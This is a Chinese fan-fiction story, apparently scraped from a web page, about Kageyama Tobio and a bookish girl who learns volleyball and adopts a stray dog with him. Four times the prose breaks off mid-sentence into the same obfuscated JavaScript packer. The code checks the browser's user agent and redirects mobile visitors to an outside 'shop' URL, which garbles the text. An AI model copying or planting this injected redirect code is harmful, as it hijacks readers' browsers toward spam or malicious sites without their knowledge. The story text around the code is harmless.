《两个单线程如何谈恋爱》 1. chapter 1 ——天空是什么颜色 在练排球之前，栗原心音从未这么频繁地看向天空。 三色排球被高高抛起，在视线中变得越来越小， 太用力了。 映入眼帘的是一片湛蓝色的天空，刺目的太阳灼伤着眼睛。 栗原心音努力地睁着眼睛，去追寻排球的踪迹。 “啪”的一声，排球落地了。 她静静垂下头，再一次进行复盘。 首先是超低速的反应能力——在她代入一堆物理公式计算出排球的落点前，它早已落地。 其次是根本迈不开的腿，对于体育废柴来说，腿和脑显然是截然不同的两个系统，这点无需赘述，不擅长运动的孩子们都懂。 最后，她抬头望了眼湛蓝的天空。没有云遮挡的太阳不仅阻碍视线，还会让人变得焦躁。湿哒哒的汗水将发丝黏着在身上，她抱起排球，走过喧嚣的人群，最后锁定了一个阴暗的角落。 没有人、没有太阳， 完美的独自训练场所。 有一种很微妙的感觉，她握着手中的排球，四周静谧得可以感受到微风吹拂的方向。 ——感觉很不错。 她抛起球，视线一刻未曾偏移，然后顺着球落下的方向移动步伐。 球最后擦过她的手边。 心音握起拳头给自己鼓气，下一球就能成功。 …… 在独自训练抛掷100次排球成功接住一次后，栗原心音宣布今天的排球训练成功收官。 她走到自动贩卖机前，前方的男生背影莫名有些眼熟，他用白色的汗巾罩住头，湿漉漉的发丝微微下垂。 所以是在哪里见过他呢。 他同时伸出两根手指，她愣是从那两根手指的颤抖弧度中读出一种纠结的感觉。 ——肯定是错觉吧。 她晃晃脑袋把这个天马行空的想法扼杀在摇篮里。 面前的人拿起从贩卖机里滚出的牛奶，转过身，毫不停留地离开了。 好高的人，栗原心音心想， 从他的角度可能看不到我吧。 ……她愤然了，手指从常买的饮料处移开，选择了平常不喝的牛乳。 ——喝这个就能长高吗。 还未等她根据成分表分析出初中生喝牛乳长高的可行性，她的双肩被轻按压了一下。 看清眼前的人后，她的眼睛亮了起来。 “飞鸟！” 竹早飞鸟是栗原心音的幼驯染，虽然从小一起长大，但是两人的性格天差地别。 最截然相反的就是她们对待体育项目的态度，如果说栗原心音对所有体育项目都避而远之，那么竹早飞鸟就是体育天赋点满的那种女生。 她未来的职业目标更是成为职业排球运动员，目前是北川第一有名的女王牌。 因此虽然心音本人对排球毫无兴趣，在飞鸟的强烈邀请下，栗原心音也看过几次北川第一的排球比赛。 她几乎像个树懒一样挂在了栗原心音的身上，“排球练得怎么样了心音。” “蛮不错的。” “诶，我就知道，凭你的学习能力排球什么的…” “我成功接住了一个球。” 她伸出手指，朝着天空比了个1。 竹早飞鸟仔细端详了一番栗原心音的表情，在确认她脸上真切地写着“满足”后，她试探着问了问：“所以，心音是练了多久。” “不多，练了一百个就接到了。” 随后竹早飞鸟的大脑被一些“如何计算排球下落轨迹” “风速对排球轨迹的影响”“阳光和体育场的灯光对排球预测的毁灭性干扰” 诸如此类的经验总结侵占了。 竹早飞鸟费劲地将那些知识移出自己的大脑，以免污染自己的排球知识。 栗原心音感受到自己的肩膀在微微颤抖，是飞鸟把脑袋埋在了她的肩膀上。 “…飞鸟？” 她的脸被幼驯染当成大福一样搓圆，“太认真了心音。” 显然，飞鸟莫名非常的开心，她的笑声嘹亮到操场上的人纷纷驻足而观。 直到走出校门，她还是会突然耸动肩膀。 “……” “所以飞鸟到底在笑什么？” “唔…心音把数学作业给我参考一下，我就告诉你。” “那我不想知道了。” “诶？！” 【果然还是很讨厌运动】 在洗完澡之后，终于摆脱了黏糊糊的感觉，然而稍微松懈后，超出平时运动量的后遗症就会一拥而上。肌肉会变得酸痛，整个人跟被抽走了灵魂一样只想瘫在床上。 跟进行酣畅淋漓的头脑运动完全不同，学习会让人感到饥饿，过度的运动只会让人失去胃口。 心音趴在床上，把脸深深地埋进枕头里。 …要不今天就睡觉吧。 然而她感受到床上的手机争先恐后地振动起来。 栗原心音深吸一口气，滑开手机。 【妈妈：晚饭吃了吗(>﹏<> 【Kokora:已经吃完了（开心emoji.）】打算翘掉晚饭的心音面不改色地回复着。 【妈妈：坏孩子，按你正常的吃饭速度，这时候应该还没吃完才对。快去吃饭！（威胁）】 栗原心音拿着手机的手微微一颤，随后点开了第二个对话栏。 【飞鸟：忘记跟你说了心音，你还记得之前我带你一起看过男子排球部的比赛吗】 【Kokora:嗯嗯】 【飞鸟：他们好像吵了一架，蛮严重的，二传被教练换下场了。】 【飞鸟：呜，希望我们女排部的不要吵架，下一场是跟很强的队伍打，真的太紧张了。心音明白吧，如果球队的氛围一紧张就容易起争执。】 【飞鸟：吸氧jpg.】 【Kokora:如果是飞鸟的话一定没问题】 【飞鸟：感动落泪jpg. 有心音的鼓励，我又元气满满了！ 】 男子排球那边的二传手。 栗原心音把手机举高，有些出神。 记忆中排球场上的身影与贩卖机前的身影渐渐重合。 “啪。” 专心思考导致忘记手里还握着手机，于是手机狠狠地打在了脸上， 不过也算被打醒了。 栗原心音从床上滑落，飘到厨房，给自己煮了一顿生命体征维持餐。 …… 明天又是美好的一天。 才怪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107873|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ， 她愿封这一天为她的倒霉日。 首先是有生之年第一次压根没有听到闹铃，于是即使是飞速从床上弹起，她依然迟到了。 风纪委员像是遇到了珍稀动物（例如熊猫），激动地记下了她的名字。 “年级第一也会迟到吗。” 意识到风纪委员是在询问自己，栗原心音缓缓地点了点头。 “原来是这样！”风纪委员解锁了新大陆，他挥着手送别心音。 其次是罚站。 在她迈入班级门的那一秒，数学老师头也未抬地说：“既然迟到了那就先在外面站着吧。” 数学老师扫了扫教室，迟疑地发现平日里的迟到人员如今都坐在了位置上。 “心音？” 铁面无私的数学老师不得不一视同仁地让自己心爱的数学课代表站在门外听完了第一节课。 最后，放学铃敲响。 昨天打排球后手臂还隐隐作痛，不过手臂的红痕有些消散。 经过栗原心音的估算，如果是通过自己领悟，她还需要保持连续一个月的每天一百球以上的运动量才能通过期末考核。 她抱起排球，像一只幽灵一样飘过偌大的操场，抵达昨日划下的风水宝地。 和自己打球的时候不一样的，强劲、有力的击球声， 光是听着手就会发疼的那种。 她伫立在原地，眼前的少年显然已经练了很久，他的头发都被汗水打湿，每打一球都伴随着微微的喘息声。 然而他还是坚持着一次又一次地将排球抛起，就像感受不到累一样。 虽然对排球一窍不通，但是心音常常等待竹早飞鸟结束社团活动。 飞鸟练习的时间不算少，起码跟心音花在课业上的时间不相上下。 但有时候，就像再亲密的朋友也会有小摩擦，飞鸟有时会懊恼于手上的排球不听话。 但是他不一样，不管以什么样的方式打出，排球仍然会回到他的手上。 ——他们是真正的灵魂伴侣。 出于一些微妙的，不愿班门弄斧的心思，栗原心音放下排球，站在阴影和阳光的交界处。 ……秘密基地被抢走了(●—●) 在她打算转身离开的时候，她觉得眼前的人莫名有些焦躁。 像上一次见面，从那两只微颤的手指上读出了纠结一样。 她觉得他击球的力度越来越重，带着一种执拗。 ——难道我解锁了什么特殊的读心术吗。 还未等她细想，就像是证实她“焦躁”的猜测，排球扑到了墙上，而他也未曾移动步伐。 任由那排球像长了翅膀一样，直直地扑到她的怀里。 …真的好痛。 他弯着腰，用手撑着膝盖，重重地喘息。 过了一会，像是意识到没有听到排球落地的声音，他站了起来，转过身。 这一次，就算有身高差，她还是看清了那双眼睛。 是比天空更深的蓝。 “……抱歉。” 他的声音硬邦邦的，向她伸出手，打算拿回那个排球。 她举起手，将排球递给他。 “请问，” “你是在不开心吗。” 2. chapter 2 影山飞雄是天才。 ——只要看过他上场的比赛，没有人会不这么觉得。 高超的球技，精准的二传。 如果排球拥有灵魂，那它一定臣服于影山飞雄的手下。 但是影山飞雄并不在意这些评价，他只想要不断精进球技。 只要拥有足够强大的技术，打败一个又一个的对手，这样就可以永远地留在排球场上。 至少最开始他一直是这么认为的。 当记者把话筒递到他的面前，询问他是从什么时候开始热爱排球的，他才第一次思考这个问题。 ——“从出生起，就喜欢排球了。” 抱着摄像机的大叔忍不住笑了笑，专业素质极高的记者也有些忍俊不禁。 她拿着话筒面向着摄像头：“看来影山选手在球场下和球场上的风格还是有些不同的，和我们开了一个幽默的玩笑……不过由此可见，选手们都对排球有着很真挚的感情……” 影山飞雄知道自己说的并不是玩笑话，但是他并没有选择反驳记者。 从出生起，就选择排球了。 又或许是出生前，在母亲的肚子里，就已经爷爷和姐姐打排球的样子吸引了。 但这些事情他早已不记得，也无法向他人证明。 只是从爷爷和姐姐聊天的时候听到关于他从小抱着排球不撒手这类事。 姐姐按掉电视，捏了捏小飞雄的脸。 他抱着排球一脸懵懂地看着她。 “我从出生起，就喜欢排球了。”她笑了笑，“也只有小飞雄说得出这种话了。” 她的眼神柔和下来，装着一些小飞雄不明白的成长的烦恼：“有时候，一直知道自己想要什么的人真的幸福的让人火大！” 说罢，她丢掉手里的遥控器，准备对小飞雄的脸蛋上下其手。 “……姐姐！我的排球。” 小排球咕噜噜地滚到了地上。 不过后来，影山飞雄隐约能够抓住那时姐姐复杂的眼神。 那是在姐姐上高中的时候。 “美羽，你不打排球了吗。” 明明刚刚跟爷爷一起听过理由，还要固执地再问她一遍。 “小飞雄！要有礼貌，不许直接叫我名字，请叫姐姐。” “……” “……不打排球了。”美羽摸了摸自己的头发，她夸张地叹了口气，“教练说要把头发剪短才能接着打。” 她看向小飞雄，那双眼睛很直白地写着——就因为这个所以放弃了排球吗。 其实不只是因为这个。 美羽看向坐在沙发上也要紧紧抱着排球的弟弟，或许是因为天赋不够高，或许是因为除了一辈子打排球，觉得自己的人生还有别的选择，又或者是因为升学的学业压力。 “就是因为这个。”为了显得云淡风轻一点，她撒谎了，“不过你可不要放弃排球。” 她下一刻就知道自己多此一举，小飞雄的眼里明晃晃地写着疑惑。 ——这还要你说。 ……美羽又忍不住捏了捏小飞雄。 美羽的事情告诉了影山飞雄，并不是所有人都会始终如一地走在一条路上，他也不会对半路中离开的人有什么指责之类的感情。 他们的离开是有原因的，我只需要一直走下去就行。 在上了国中后，他遇到了很厉害的前辈，同为二传的及川前辈，虽然他并不是很想教授他发球的方法。 但是他会偷看。 影山飞雄就像一个在沙漠里徘徊数日的行者，不知止地汲取着每一滴甘霖，将它们转换为成长的养料。 他还有爷爷，同样热爱着排球的爷爷，即使在医院的病床上，也依然愿意教授他如何发球。 …… 爷爷离开了，他看着黑白的相框，周围亲戚的哭声从他的耳畔穿过。 白色的菊花簇拥着，它们把那位在他心中播撒下名为【热爱】种子的小老头，接到了遥远的地方。 或许在那个地方，爷爷可以拥有一幅新的、年轻的身体，然后快乐地打着排球，就和他一样。 他的视线变得模糊了，他伸出手，抓住一颗颗雨滴。 “姐姐。”美羽看到飞雄雾蒙蒙的眼睛注视着她，“爷爷会幸福的吧，他总算可以离开病床，快乐地打排球了。” ——那我为什么还那么难过。 我应该为他感到幸福。 美羽抱着飞雄，她的弟弟已经长得很高了，起码在注视他的时候，她还要抬起头。 “…或许是因为，我们没有办法亲眼看见爷爷的幸福了。” 在奔现胜利，不断抛起又接住排球的路上，总会有一个又一个的人离开。 美羽的离开是因为她有不一样的人生目标，爷爷的离开是因为人世间的缘分终有尽时。 所以，再快点奔跑，再加速，只要胜利。 只要胜利，就能永远留在赛场上，永远打排球。 所以，再快点吧。 只要够快，就能冲破一切的障碍。 只要够快，对手就没有办法接住我的球。 “啪。” 他把球托起，三色排球在空中划出一道优美的弧线。 然后坠在地上。 他的身后没有人。 ——他被换下场了。 就算是被换下场也没有关系。 “啪。” 排球重重地落在手腕上。 只要不断地练习，精进技术。 “啪。” 他的眼中闪过那一幕的画面，那并不是一个不能接到的球，是他的队友转过身，向他表示着抗拒。 ……只靠他一个人，没有办法在排球场上比赛。 头一次，他在练习的过程中出神了 ——这是一个用力过猛的球。 他并没有选择接住它，任由它撞向墙壁，随后被弹到地上。 如果他移动步伐，或许可以接住。 排球会生气的，如果不接住它。 可是他的腿像是被沉甸甸的东西钉在了地上，寸步难移。 他撑住自己的膝盖，大口地喘息。 一秒、两秒…… 排球落地的声音并没有如约而至。 他转过身，低下头， 排球被接住了。 他看见那个女生的手掌有些发红，但是一直牢牢地攥着球，“…抱歉。” 排球不会生气了。 他伸出手，想要接过那个排球。 “请问，你是不开心吗。” 我是在不开心吗。 复杂的思绪仿佛终于拥有了属于它的一个定义。 他听见自己微哑的嗓音这样问道：“为什么这么说。” 其实，在问出那句话的时候，栗原心音知道自己越界了。 他们不过是萍水相逢的路人，就算是想要验证自己的猜想，也不该这样张口打听他人的心事。 她把这一切归结于那双蓝色的眼睛。 人在看向天空一样的眼睛时，总会不自觉地吐露自己想要询问的事情。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107874|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 生平第一次，她感受到了脱轨的无措和紧张。正当她想要收回自己的询问并为自己的莽撞道歉时，她听到了影山飞雄的话。 …… 他好像没有感到冒犯。 稍微地松了口气。 栗原心音拿起自己放在地上的球，“刚刚的五分钟里，你没有感觉到自己打球的节奏一直在加快吗。” 她本来试图演示，不过想到自己根本接不到一个球。 于是转用了拍皮球的方式展示，栗原心音曾荣获春田花花幼稚园拍皮球第一名。 她试着用拍皮球的方式复刻影山飞雄逐渐加快的打球节奏。 “排球也是有情绪的。” 她狐假虎威地盗用了飞鸟的话。 “……嗯。” 对视了许久，这次心音费了一些功夫才从影山飞雄的眼中读出了这句话是回应她问的“你是不是不开心”。 随后，影山飞雄转过身，又专注地练起了球。这一次，他的节奏平稳又宁静。 呼。 莫非我真的掌握了读心术，栗原心音看着自己的手心，莫名地有些振奋。 说不定今天的状态也特别好。 她试探地看了看旁边的影山飞雄，对方似乎十分专注，自己不管是怎么练球也不会被他注意到的吧。 于是转移阵地的想法被取消，不被注视的她丢掉了“班门弄斧”的心理负担，将手中的球高高抛起。 …… 刚开始，影山飞雄认为身边的女生起码有一些排球基础。 从她对排球节奏的把握以及那句“排球是有情绪的”，起码有一些属于她的见解。 然而在接下来的十分钟里，影山飞雄知道自己错的离谱。 有些地方的排球队伍有这样一种战术，通过制造噪音或者打乱节奏的加油声来干扰对手，眼前的少女显然是干这一行天赋异禀的选手。 她的排球总是以不同的、毫无规律的声音落地。 影山飞雄停下了练球的手。 接下来，他看到了僵硬错误的击球手势、敏锐专注的双眼、以及迟钝如老者的步伐。 她的排球水平是一无是处。 即使是一个球都接不到也能保持专注和镇静吗。 他的世界观遭受了一些冲击。 如果她一直这样练习的话，怎么练也是练不好的吧。 …他的练习也会被打乱。 “那个…” 专注练习的心音被突如其来的声音打断了思绪，她侧过身，像是在询问他有什么问题。 “垫球的时候，两手手指要上下互相重叠，手腕下压，两臂伸直，形成一个平面，用这个平面去击球。” “就像这样。” 她像是一下子领悟了，眼睛亮闪闪地一动不动地注视着他。 “太感谢了，你真是一个热心肠的同学。” 第一次收到这样的夸奖，影山有些无措地攥紧了球。 不是因为热心，是单纯的看不下去了…… 像是知道他要说什么，面前陌生的同学打断了他的话：“不管是出于什么原因，你都帮助了我。” 说完这句话，她转过身，专注地再一次开始了练球。 这一次，纠正后正确的手势让她的成功率有所提升。 影山飞雄不会被频频落下的排球影响， 然而这一次，他在思考别的东西 ——所以，我真的是一个热心肠的人吗。 可惜排球不会说话，没法为他解答。 3. chapter 3 【飞鸟：抱歉心音！今天我们打算加练一会，不能和你一起回家了滑跪jpg.】 【Kokoro：没事的飞鸟，不过要注意不要练过头哦，保持体力也很重要。】 【飞鸟：好的！】 心音倚在墙边，时不时滑动着手机，已经很晚了，头一次在太阳已经落山的时候还留在学校。 不过那位蓝眼睛的同学显然跟不知道累一样，还保持着高水平的击球姿势。 果然体力这种事情还是有些天生的因素在，她揉了揉自己没有知觉的手腕心想。 “那我先走了。”栗原心音向他道别。 “嗯。”蓝眼少年不曾放下手中的排球，只是点点头向她示意。 今天就吃叉烧拉面吧。 昏黄色的路灯投射下斑驳的树影，她收回昨天关于“运动完就不想吃饭”的暴论，如果有人这么想，那一定是因为她的运动量还没达标。 心音感受到饥饿感即将缠绕她的胃，不由得加快了脚步。 ...... “谢谢款待！”拉面店的大叔偷偷在心音的拉面里多加了一个溏心蛋，在热气腾腾的面里像一个金灿灿的太阳。 “今天这么晚来吃。”大叔把桌子擦得亮堂堂的，“小心我告诉美惠子。” “啊！”心音顿时放下了进食的筷子，“事出有因的佐藤大叔。” “校长非要将排球纳入期末考核，再不加练我的综合成绩就不能保住年级第一了。” “比起年级第一，美惠子当然更想你注意身体。”佐藤大叔不赞同地看向心音。 “...但是一直考第一不是很酷吗。” 话音未落，心音的视线里又多了一盘叉烧。 “那就请永远年级第一的心音多吃一盘叉烧补补身体吧。”佐藤大叔笑眯眯地坐下了。 “下次不来你这吃了大叔。”心音戳了戳盘里的溏心蛋，“你这样做生意可是会亏钱的。” “诶，那大叔我可要伤心了。不过最近你们学校那几个经常来我这吃面的排球小子，这几天也很少来了。” “那天大叔我问那个藠头脑袋，他埋头吃饭什么都不说呢，当年大叔我打排球的时候，也和队友吵过架。” 藠头脑袋？ 很久前观看比赛的记忆再一次涌入脑海，栗原心音不得不佩服于大叔生动的形容。 不过如果是这样，那么大叔和飞鸟说的大概是同一件事，吵架的人应该是藠头脑袋和蓝眼睛吧。 “小飞雄也是，很久没来吃了。” “小飞雄？” “是心音你们学校排球部的，他爷爷从小就带他来我这吃了。不过你们应该没有在我这里见过。” “毕竟小飞雄来吃饭的时候，心音可能已经在家里休息了吧。” “……大叔！” “不过从来没见过心音和朋友吵架呢。” 栗原心音把头埋在拉面碗里，沉浸式地嗦面，“毕竟我没什么朋友，而且我和飞鸟怎么可能吵架。” 大叔停下了自己滔滔不绝的说话声。 “大叔，朋友在精不在多。” “话是这么说没错……”大叔小声嘟囔着。 心音把钱塞到了佐藤大叔的手里，随即以一个飞快的速度冲出店门。她伸出一个脑袋，朝大叔挥了挥手。 “……下次再多给钱就别来这吃饭了！” 饭是一定要吃的，毕竟佐藤大叔的拉面是宫城县的第一名。 不过下次照样会“照常”给钱。 “汪。” 草丛里探出一个熟悉的脑袋。 心音蹲下身，从口袋里拿出一个牛肉干，她摸了摸小迪的脑袋，“最近过得开心吗小迪。” 它兴奋地摇摇尾巴。 “快吃吧。” 有人在喂狗。 远远的，影山飞雄的视线就锁定了那只白花花的比熊。 ……是之前排球打的很不好的，很自来熟和他打招呼的女生。 此时的心音并不知道自己已经被冠以了“自来熟”的名号。 大概是被比熊吸引，影山飞雄停住了脚步，站在了离她们两三米远的地方暗戳戳地观察着。 “嗯？”比熊软乎乎的毛突然变得耸立，还静悄悄地往后挪了两步，就像是嗅到了什么危险的气息。 心音转过头，看见身后是表情僵硬的影山飞雄，他似乎试图挤出一个亲和的表情向比熊笑。然而很遗憾，他虽然拥有高超的控球技术，控制面部表情的能力显然有些薄弱。 上帝偶尔还是公平的，开了一扇门就会关上一个窗。 他有些局促地偏过头，打算离开这里。 “你是叫影山飞雄吗。” “……嗯。” 心音往旁边侧身，露出身后的比熊，“你想和它打个招呼吗。” ……正常来说，不是应该先说明为什么会知道他的名字，为什么突然跳跃了一个话题。 他的表情变得纠结，最后像是费了好大劲才开口：“动物都不是很喜欢我。” 看来影山飞雄很喜欢小动物，心音朝他笑了笑，“我有办法！” 她示意影山走到她身边。 虽然很不想动，但是礼貌的影山的脚先行一步。 “首先，你可以不用咧嘴向它示好。……也不用摆出要揍它一顿的表情的。” “没错！就像这样平常的表情就好。” “然后，你可以拿一些有吸引力的东西让它靠近你。” “……比如排球。” “排球？” 心音想到有些人或许对自己的排球相当重视，比如飞鸟这样的未来想要当职业排球手的人，他们大多很宝贝自己的排球，不舍得让别人碰，更不用说是小狗了。 “抱歉，是我考虑不周，你可以用我的排球。” 她把排球塞在他的怀里。 为什么要抱歉。 影山飞雄并没有不想让小狗触碰他的排球，他只是在思考小狗真的会喜欢排球吗，或者小狗真的愿意靠近拿着排球的他吗。 最后，他还是默默蹲下，双手向前举着排球。他的双臂硬邦邦的，和平日里流畅自然的手臂弧度并不相同，如果仔细观察，甚至可以看出有些轻颤。 拜托，起码挥挥手示意小狗向前啊。 ——不是吐槽役的心音也忍不住对眼前的一幕做出评价。 她偷偷冲着比熊眨眨眼，指了指蹲着的那团僵住的身影。 他超好相处的，小迪。她的眼睛里写满了这样的话。 接收到她视线的小迪打量了一番眼前的这团人——感觉不是很可怕，还有点傻傻的。 它试探性地向前走了几步。 影山飞雄肉眼可见地不知所措了起来。 比熊轻轻地蹭了蹭他，然后伸出双手想要拿球。 这个人类简直幸福得冒泡，比熊看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107875|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 向臣服于它的脸冒热气的人类影山，放下了所有的防备，自在地在他的身侧玩起了球。 “……怎么样？” 栗原心音看见眼前的人转过身，深蓝的眼睛亮闪闪的，和比熊如出一辙，她有些幻视两只狗狗一起注视着他。 “很管用！”他的眼神真挚地几乎下一秒就要向她鞠躬道谢了。 “你可以摸摸它的。” 影山飞雄轻轻地把手搭在比熊的脑袋上，像是抓住了一片羽毛。 “你是它的主人吗。”爱不释手的影山飞雄这样问道。 “不是的，我没有正式扶养小迪。毕竟我家里平时没人，让它一个人呆着也太寂寞了。” “它这样也很自由呢，偶尔也会来看看我，就跟现在这样。” 栗原心音蹲在影山飞雄旁边，他们两个整整齐齐地像路边的两个小石墩。 “但是如果有人能收养它就更好了，毕竟我上次看到它，它好像跑去了很远的地方，瘦得像很久没吃饭的样子。” “……或许我可以收养它。” “！真的吗。” “我的奶奶，她平常一个人在家，可以照顾它。” “而且它是一条很好的狗狗。” 栗原心音有些好奇影山飞雄觉得小迪是一只好狗的标准——虽然小迪的好是毋庸置疑的。 “因为，”他的语气相当认真，“它是一只喜欢排球的狗。” …… 果然，在排球脑袋眼中，喜欢排球的都不是什么坏家伙。 心音下意识地捂住自己【超讨厌运动】的马甲。 她抱起小迪，十分郑重地递到影山面前。 “小迪就交付给你了。” “我会好好照顾它的。” 他的表情很严肃，就像把【可靠】二字挂在了自己的脑袋上。 栗原心音点开手机，“那我们现在加个line吧。” “…？”影山飞雄的眼睛变成了豆豆眼，正在高速处理过载的数据。 “就是联络方式。”栗原心音以为影山飞雄不明白她的话，“你应该没有养过比熊吧，到时候我把养比熊的注意事项发给你。” “那个……”栗原心音看了看有些魂游天外的影山飞雄，“如果我想看它了，你遛狗的时候可以叫上我吗。” 影山飞雄——魂游天外中 “好的。” 比熊非常小、很轻盈，和排球一样，就算一路抱回家也没有什么感觉。 影山妈妈推开门，看见双手庄重地抱着比熊的影山，有些怀疑自己的眼睛。 随后，她像是发现了什么世界不可思议之事一样，叫出了全家人。 影山和比熊被家人团团包围了。 ——居然有小狗愿意靠近小飞雄？ 这是爸爸。 ——感动的快要落泪了。 这是妈妈。 ——长大了呢，小飞雄。 这是最靠谱的奶奶。 他躺在床上，让排球在自己手上旋转。 这是这几天以来第一次脑袋里没有关于比赛的事情，可能是因为今天的经历过于丰富了。 他的手机罕见地振动了两下。 【我是栗原心音——Kokoro】 【饲养比熊的注意事项（长图）】 他打开备注栏，敲下那几个字母 ——Kokoro ……好拗口。 4. chapter 4 栗原心音不喜欢打排球，这完全出于她对自己身体素质的清晰认识。 她并不讨厌喜欢打排球的人，毕竟她觉得自己的幼驯染最闪亮的时候，就是拿起排球的那一刻。 竹早飞鸟并不算持之以恒的那类人，小时候她会带着栗原心音去尝试各种各样的新事物，比如钢琴和小提琴。 然而她的热情消散得十分迅速，于是最后往往是对这些事情持“无所谓”态度的心音坚持下来了。 唯独在排球这件事上，竹早飞鸟展现出了截然不同的毅力。 她愿意花所有的课余时间去练习在心音眼里重复枯燥的动作。 每次一提到“我会成为全日本——还有全世界响当当的女王牌”，她身上溢散的名为斗志的火焰都几乎要把心音点燃。 但是栗原心音讨厌排球比赛，非常、非常讨厌，讨厌的程度大概就像在她最喜欢的芒果冰沙里加入大量的榴莲。 如果没有比赛就好了，如果不用把球场上的两只队伍分出胜负就好了。 ——这样她就不用看见飞鸟的眼泪。 不过在她把这种想法告诉飞鸟后，她立马收起了所有的眼泪，取而代之的是一个灿烂的笑容。 飞鸟给了她一个大大的拥抱，“没想到会在心音的嘴里听到这么孩子气的话。” “…我才不觉得这种想法是孩子气的。飞鸟非常努力，我都知道，所以我不想飞鸟输。” “我就知道心音最心疼我了！” “我倒不会讨厌比赛啦，一站上赛场，就会有一种肾上腺素飙升的感觉。而且失败有什么的，下次再打回来就好了。” 此乃谎言。 因为飞鸟每次输完比赛一边哭一边大口吃着甜品的样子实在太没有说服力了。 比如现在。 即使是每天加练，北川第一还是输在了获得冠军的最后一步。 “好不甘心，如果我能多扣一个球就好了。” 心音知道“你已经做的够好了”这样的话在这种时刻不起作用，她只能默默地递上一张又一张纸，然后笨拙地开些玩笑话来让飞鸟笑一笑。 “眼泪掉到甜品里会变咸哦。” “决定了！我要再加练两百个球，下次一定不会输。”飞鸟接过纸，胡乱地在自己脸上擦了擦。 虽然讨厌失败，但是心音觉得这是飞鸟第二闪耀的时候，有时会觉得比站在赛场上更加闪耀。 因为她拥有一颗，无论经历多少次失败也依然可以爬起来向前冲的，钻石般的心。 和飞鸟相比，自己反而没有什么特别喜欢的事情，从小到大也不过是在按部就班地符合大家眼里优秀的标准。 竹早飞鸟果然还是无法忽视身旁那道突然变得热切的目光。 虽说刚刚我的话确实很有斗志，但是也没到会被心音这么赞许的程度吧，于是她向幼驯染问出了她的疑惑。 在收到——我只是按部就班的优秀，这样的发言后，竹早飞鸟攥紧了自己的拳头。 她扑向了栗原心音，“这样说话可是很招打的哦心音。” “好多人的，飞鸟。”栗原心音躲避来自幼驯染的魔爪。 “我 才 不 管。” 在把自己体力极差的幼驯染捉弄得精疲力竭后，竹早飞鸟满意地收手了。 “不过最近我有空教心音了，未来的日本第一女王牌的专属教学哦，还不快来报名。” “但是我已经学的差不多了。” “诶？！”明明前几天还是一百球只能接到一个的水平，莫非心音的分析法真的能运用到排球上吗。光是想想心音所谓的理论，竹早飞鸟的脑袋就已经被撑满了。 …… “你是说，你遇到了男排部那边的二传影山飞雄，他非常热心地教导你排球基础？” 她的脑海里浮现出黑脸影山君不厌其烦地纠正自己很菜的幼驯染的场面。 颇感怪异的她迅速将这个场面从自己的脑海里删除。 “我才没有很麻烦他，他差不多会给我演示一遍手势，然后我就凭借自己超高的记忆力来纠正了。” “那可是影山飞雄！我就没有听过他教过别人。” “可能是他们没有问他？” “话是这么说没错。” 在收到幼驯染欲言又止的目光后，心音朝她笑了笑，“飞鸟也是，没有管别人说什么，然后凭借自己的心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13107876|138197||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 认识了我吧。” “所以我也想这样做，我觉得影山他是一个很好的人。” “哈！为什么突然提这个，一想到那些人我就气得不行。”飞鸟撇了撇嘴，又挖了一大勺甜品，“好吧，我相信心音的眼光。不过还是不要随便就相信别人哦。” 她看着心音的眼里写着大大的“我可是很聪明的”，不免萌生了一些怀疑。 随后她在心音的口中听到了一个专注认真、喜欢小动物的话少的沉默好人。 他可以专注地练习排球，从下课到学校关门最后被保安赶出校园。 他收养了心音经常喂的那只小迪，还把它照顾的很好。 这其中最令竹早飞鸟在意的是， “你是说你们在我不在的这一周，七天单独遛了三次狗吗！” 竹早飞鸟感受到了一种微妙的危机意识，心音目前心里最热爱排球和勤奋刻苦的排球手不再是她竹早飞鸟，而是一个叫作影山飞雄的二传手。 再加上她一直对那种，能找到自己热爱的事物的家伙有着天然的好感。 不过下一秒，她打消了自己所有关于“恋爱”这一方面的猜想。 因为心音向她描述了【遛狗】的具体画面。 